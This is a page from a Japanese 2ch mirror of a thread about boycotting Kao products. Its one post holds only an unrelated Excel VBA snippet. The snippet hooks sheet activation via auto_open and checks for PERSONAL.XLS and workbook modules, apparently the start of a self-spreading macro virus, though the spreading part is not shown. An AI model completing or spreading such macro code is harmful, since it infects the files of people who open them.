【賛同者限定】花王製品の不買運動 すすぎ214回目at MS
【賛同者限定】花王製品の不買運動 すすぎ214回目 - 暇つぶし2ch170:可愛い奥様
12/03/26 02:25:37.78 OHt28BCT0 BE:1167294427-2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch